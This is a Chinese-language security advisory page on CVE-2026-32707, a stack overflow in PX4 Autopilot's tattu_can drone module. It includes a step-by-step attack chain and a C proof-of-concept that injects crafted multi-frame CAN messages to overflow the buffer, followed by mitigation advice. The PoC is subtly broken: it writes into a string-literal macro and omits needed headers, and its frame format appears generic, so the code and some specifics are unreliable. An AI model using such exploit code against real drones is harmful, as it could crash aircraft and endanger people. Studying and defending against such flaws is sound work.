IPBUF安全漏洞报告
English
CVE-2026-32707 CVSS 5.2 中危

CVE-2026-32707: PX4 Autopilot tattu_can无界memcpy栈溢出漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32707
漏洞类型
缓冲区溢出
CVSS评分
5.2 中危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PX4 Autopilot (tattu_can模块)

相关标签

缓冲区溢出PX4 Autopilottattu_canCAN总线无人机安全栈溢出DoS物理攻击memcpy飞控系统

漏洞概述

CVE-2026-32707是PX4 Autopilot飞控系统中tattu_can模块的安全漏洞,存在于1.17.0-rc2之前的所有版本。该漏洞源于多帧组装循环中使用无界限的memcpy操作,当处理精心构造的CAN帧时,可导致栈内存覆写。PX4 Autopilot是一款广泛应用于无人机和无人系统的开源飞行控制软件。攻击者需要具备CAN注入能力并能够物理接触CAN总线。在tattu_can模块启用的情况下,攻击者可通过注入恶意CAN帧触发拒绝服务(DoS)并造成内存损坏。由于攻击向量为物理接触且需要特定硬件条件,该漏洞的利用难度相对较高,但仍对无人机系统安全构成威胁。

技术细节

该漏洞位于PX4 Autopilot的tattu_can驱动模块中,具体在多帧组装(multi-frame assembly)的处理逻辑。在CAN通信协议中,多帧传输用于处理大于单帧负载的数据包。tattu_can模块在组装这些多帧数据时,使用了无界限检查的memcpy函数直接将接收到的数据复制到栈上的缓冲区。攻击者可通过注入精心构造的CAN帧,控制帧长度和顺序,使memcpy操作超出栈缓冲区边界,从而覆写栈上的返回地址、函数指针或其他关键数据结构。这种栈溢出可导致两种后果:一是触发崩溃造成DoS攻击,二是通过覆写控制流执行任意代码。CVSS向量显示攻击复杂度低(AC:L),但攻击向量为物理接触(AV:P),意味着攻击者需直接连接或接入CAN总线。

攻击链分析

STEP 1
步骤1
攻击者获得物理访问权限,连接到无人机的CAN总线接口
STEP 2
步骤2
攻击者配置CAN注入工具(如CANalyzer、ICSim或自定义硬件)
STEP 3
步骤3
构造恶意多帧CAN消息,第一帧标记为First Frame (FF),设置较大的数据长度
STEP 4
步骤4
发送多个连续的Consecutive Frame (CF),每帧携带超长payload
STEP 5
步骤5
tattu_can模块的多帧组装循环处理这些帧,调用无界memcpy复制数据到栈缓冲区
STEP 6
步骤6
栈缓冲区溢出,覆写返回地址和关键寄存器,导致控制流劫持或崩溃
STEP 7
步骤7
触发DoS(无人机失控/坠毁)或实现代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-32707 PoC - CAN Frame Injection for PX4 tattu_can Stack Overflow // This PoC demonstrates sending malformed multi-frame CAN messages // to trigger unbounded memcpy in tattu_can module #include <stdio.h> #include <stdlib.h> #include <string.h> #include <linux/can.h> #include <linux/can/raw.h> #include <net/if.h> #include <sys/socket.h> #define CAN_INTERFACE "can0" #define TATTU_CAN_ID 0x100 #define MALICIOUS_PAYLOAD_SIZE 256 // Exceeds stack buffer size int create_can_socket(const char *interface) { int sock = socket(PF_CAN, SOCK_RAW, CAN_RAW); if (sock < 0) { perror("Socket creation failed"); return -1; } struct ifreq ifr; strcpy(ifr.ifr_name, interface); ioctl(sock, SIOCGIFINDEX, &ifr); struct sockaddr_can addr; addr.can_family = AF_CAN; addr.can_ifindex = ifr.ifr_ifindex; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("Bind failed"); return -1; } return sock; } void send_malicious_multi_frame(int sock) { // First frame (FF) - indicates multi-frame message struct can_frame ff_frame; ff_frame.can_id = TATTU_CAN_ID | CAN_EFF_FLAG; ff_frame.can_dlc = 8; ff_frame.data[0] = 0x10; // First Frame Indicator + DLC memset(&ff_frame.data[1], 0x41, 7); // Padding // Send First Frame write(sock, &ff_frame, sizeof(struct can_frame)); // Consecutive frames with oversized payload for (int i = 0; i < 20; i++) { struct can_frame cf_frame; cf_frame.can_id = TATTU_CAN_ID | CAN_EFF_FLAG; cf_frame.can_dlc = 8; cf_frame.data[0] = 0x20 | (i & 0x0F); // Consecutive Frame + Sequence // Fill with pattern to overflow stack buffer memset(&cf_frame.data[1], 0x41, 7); write(sock, &cf_frame, sizeof(struct can_frame)); usleep(1000); // Small delay between frames } printf("[+] Malicious multi-frame CAN messages sent\n"); printf("[+] Target: %s, ID: 0x%x\n", CAN_INTERFACE, TATTU_CAN_ID); } int main(int argc, char *argv[]) { if (argc > 1) { strncpy(CAN_INTERFACE, argv[1], IFNAMSIZ-1); } printf("[*] CVE-2026-32707 PoC - PX4 tattu_can Stack Overflow\n"); printf("[*] Target: PX4 Autopilot < 1.17.0-rc2\n"); int sock = create_can_socket(CAN_INTERFACE); if (sock < 0) { fprintf(stderr, "[-] Failed to create CAN socket\n"); return 1; } send_malicious_multi_frame(sock); close(sock); return 0; }

影响范围

PX4 Autopilot tattu_can < 1.17.0-rc2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 禁用tattu_can模块,在CAN_CONFIG中设置TATTU_CAN_ENABLED=0;2) 物理隔离CAN总线,限制未授权设备接入;3) 部署CAN总线防火墙过滤异常CAN帧;4) 监控CAN总线流量,设置长度和频率阈值告警;5) 使用CAN身份验证机制防止伪造帧注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表